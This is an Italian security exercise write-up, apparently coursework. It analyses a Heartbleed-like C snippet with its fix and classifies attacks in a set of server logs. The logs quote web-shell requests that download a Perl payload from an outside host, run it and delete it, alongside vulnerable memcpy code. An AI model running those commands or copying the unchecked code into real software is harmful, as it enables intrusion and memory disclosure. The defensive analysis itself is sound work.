Traccia:

1. Analizza il codice in cerca di vulnerabilità https://github.com/patricia-gallardo/insecure-coding-examples/blob/main/vulnerability/ heartbleed.c;

Il codice riportato è simile a quello coinvolto nella vulnerabilità di Heartbleed (CVE-2014-0160), una delle vulnerabilità più famose associate a OpenSSL.

Il problema principale del codice è il buffer over-read, che consente a un attaccante di ottenere informazioni sensibili dalla memoria del server. Questo è esattamente ciò che avveniva con la vulnerabilità Heartbleed, che consentiva a chiunque inviasse richieste di Heartbeat appositamente costruite di ottenere porzioni casuali di memoria del server. La versione corretta introduce controlli sulla lunghezza del messaggio, evitando questo tipo di attacchi.

Esaminiamo i problemi principali nel codice:

1. Heartbleed (lettura di memoria non autorizzata): La funzione **dtls1_process_heartbeat** non controlla adeguatamente la lunghezza del payload, il che consente un attacco di lettura di memoria non autorizzata (buffer over-read).

Vediamo come si manifesta il problema:
Nel codice vulnerabile (**dtls1_process_heartbeat**), dopo aver letto il tipo di messaggio **hbtype** e la lunghezza del payload **(payload**), non vi è alcun controllo per verificare se il payload supera la lunghezza effettiva del messaggio ricevuto.

Se un attaccante invia un messaggio di Heartbeat con una lunghezza del payload manipolata, ad esempio superiore alla lunghezza del messaggio effettivo, la funzione tenta di copiare più dati di quanto effettivamente disponibile, causando la lettura di memoria non destinata all'utente.

```
hbtype = *p++;
n2s(p, payload);
pl = p;
```

Qui viene letta la dimensione del payload direttamente senza ulteriori verifiche, e successivamente:

```
memcpy(bp, pl, payload);
```

La funzione **memcpy** copia il payload senza verificare se l'area di memoria da cui legge sia abbastanza grande. Questo consente di leggere dati dalla memoria oltre la dimensione prevista, potenzialmente esponendo informazioni sensibili come chiavi private, password, o altre informazioni critiche presenti nella memoria del processo.

Versione corretta: Nella versione corretta **(dtls1_process_heartbeat_fixed)**, viene aggiunto un controllo per verificare che la somma di **1 + 2 + payload + 16** (tipo, lunghezza e payload) non superi la lunghezza effettiva del messaggio:

```
if (1 + 2 + payload + 16 > s→s3→rrec.length)
return 0;
/* silently discard per RFC 6520 sec. 4 */
```

Questo controllo impedisce il tentativo di leggere oltre i limiti del buffer, prevenendo così il buffer over-read

2. Buffer Over-Allocation: Nella funzione vulnerabile, quando viene allocato il buffer per la risposta, la dimensione del payload viene utilizzata direttamente senza ulteriori controlli:

buffer = OPENSSL_malloc(1 + 2 + payload + padding);

Se il payload è troppo grande, potrebbe causare un'eccessiva allocazione di memoria. Nella versione corretta, viene aggiunto un controllo per assicurarsi che la dimensione complessiva del messaggio di risposta non ecceda il limite massimo consentito di 16384 byte (**SSL3_RT_MAX_PLAIN_LENGTH**):

if (write_length > SSL3_RT_MAX_PLAIN_LENGTH)
return 0;

3. Uso di **RAND_pseudo_bytes**: In entrambi i casi, viene utilizzata la funzione **RAND_pseudo_bytes** per generare padding casuale. Tuttavia, questa funzione genera numeri pseudo-casuali, che potrebbero non essere sufficientemente sicuri in contesti crittografici. Sarebbe preferibile utilizzare una funzione che generi veri numeri casuali, come **RAND_bytes**, per garantire un livello di sicurezza più elevato.

2. Analizza i log della slide seguente in cerca di attacchi.

```
Oct  2 06:25:46 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
Oct  2 06:25:48 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
Oct  2 06:25:51 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
Oct  2 06:25:51 host-vps sshd[8463]: Received disconnect from 116.31.116.17: 11:  [preauth]
191.96.249.97 - - [20/Apr/2017:15:45:49 +0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.0" 404 162 "-" "-" "-"
190.129.24.154 - - [14/Jul/2015:06:41:59 -0400] "GET /phpMyAdmin/index.php HTTP/1.1" 404 162 "-" "Python-urllib/2.6" "-"
190.129.24.154 - - [20/Apr/2017:09:04:47 +0200] "PROPFIND /webdav/ HTTP/1.1" 405 166 "-" "WEBDAV Client" "-"
180.97.106.37 - - [20/Apr/2017:04:31:02 +0200] "\x04\x01\x00P\xB4\xA3qR\x00" 400 166 "-" "-" "-"
216.244.82.83 - - [08/Oct/2016:01:02:03 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" "-"
112.90.92.106 - - [08/Oct/2016:01:23:09 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0" "-"
199.168.97.28 - - [08/Oct/2016:02:28:36 -0400] "POST /wp-comments-post.php HTTP/1.0" 200 3421 "http://www.website.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/47.0.2526.111 Safari/537.36" "-"
192.185.4.146 - - [08/Oct/2016:09:19:13 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" "-"
client: 178.137.83.79, server: www.website.com, request: "GET /wp-content/plugins/formcraft/file-upload/server/php/upload.php HTTP/1.1", host: "www.website.com"
client: 191.101.235.206, server: www.website.com, request: "GET
/wp-content/plugins/revslider/temp/update_extract/revslider/blacunix.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt* HTTP/1.1", host:
"www.website.com"
client: 191.101.235.206, server: www.website.com, request: "GET /wp-admin/user/reload-x.pHp?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt*
HTTP/1.1", host: "www.website.com"
client: 191.101.235.206, server: www.website.com, request: "GET /wp-admin/user/myluph.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt*
HTTP/1.1", host: "www.website.com"
client: 222.108.76.91, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 90.73.82.117, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 109.64.27.55, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 49.149.16.66, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 91.200.12.47, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
client: 83.24.28.210, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
client: 177.129.13.106, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
client: 186.32.202.243, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
Oct 12 06:44:25 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): FTP session opened.
Oct 12 06:44:26 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): USER admin: no such user found from 110.11.148.226 [110.11.148.226] to xx.xx.xx.xx:21
Oct 12 06:44:28 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): FTP session closed.
Oct 12 07:57:56 host-vps proftpd[14904] host-vps (106.76.88.50[106.76.88.50]): FTP session opened.
Oct 10 18:43:08 host-vps postfix/smtpd[9294]: connect from host53-251-static.114-81-b.business.telecomitalia.it[81.114.251.53]
Oct 10 18:43:09 host-vps postfix/smtpd[9294]: disconnect from host53-251-static.114-81-b.business.telecomitalia.it[81.114.251.53]
Oct 10 18:46:29 host-vps postfix/anvil[9296]: statistics: max connection rate 1/60s for (smtp:81.114.251.53) at Oct 10 18:43:08
Oct 10 18:46:29 host-vps postfix/anvil[9296]: statistics: max connection count 1 for (smtp:81.114.251.53) at Oct 10 18:43:08
```

Tentativi di brute force su SSH:

● I messaggi come quelli da **Oct 2 06:25:46** a **Oct 2 06:25:51** indicano tentativi falliti di accesso tramite SSH per l'utente "**root**" da parte dell'IP **116.31.116.17**. Questo suggerisce un attacco di forza bruta su SSH, dove un malintenzionato cerca di accedere ripetutamente usando password diverse.

Richieste malevole su phpMyAdmin:
● Gli IP **191.96.249.97** e **190.129.24.154** effettuano richieste **GET** a file relativi a **phpMyAdmin**, come **setup.php** e **index.php**. Questo è tipico di scansioni automatizzate per cercare vulnerabilità conosciute o file mal configurati in strumenti come **phpMyAdmin**.

Attacchi WebDAV:
● L'IP **190.129.24.154** tenta un'operazione **PROPFIND** su **/webdav/**. Questo è un attacco comune per sfruttare vulnerabilità in server che supportano **WebDAV** (protocollo di gestione remota di file su HTTP).

Attacchi WordPress:
● Ci sono diversi tentativi di accesso e richieste sospette su un sito WordPress, ad esempio:
- IP come **222.108.76.91, 90.73.82.117, 109.64.27.55**, e altri, fanno richieste **GET** a **/wp-login.php**, che possono indicare tentativi di brute force sul login di **WordPress**.

- Vari tentativi di **POST** verso **xmlrpc.php** da parte di IP come **91.200.12.47 e 83.24.28.210**, il che può indicare un attacco **DDoS XML-RPC o brute force**.
- L'IP **191.101.235.206** effettua richieste sospette per eseguire comandi (come scaricare ed eseguire file da server remoti) su percorsi WordPress non standard, suggerendo un possibile tentativo di esecuzione remota di codice (RCE).

Tentativi di attacco FTP:

● Gli eventi relativi al demone FTP (proftpd) indicano sessioni FTP aperte da IP come **110.11.148.226** e **106.76.88.50**. Un tentativo di accesso con un utente inesistente, come **USER admin: no such user**, può suggerire un attacco di forza bruta su **FTP**.

Tentativi di accesso SMTP:

● I log **Oct 10 18:43:0**8 riguardano connessioni **SMTP (Postfix)** da **host53-251-static.114-81-b.business.telecomitalia.it.** Sebbene non sia stato riportato un errore esplicito, può trattarsi di un tentativo di scoprire se il server accetta connessioni per inviare email non autorizzate (spam).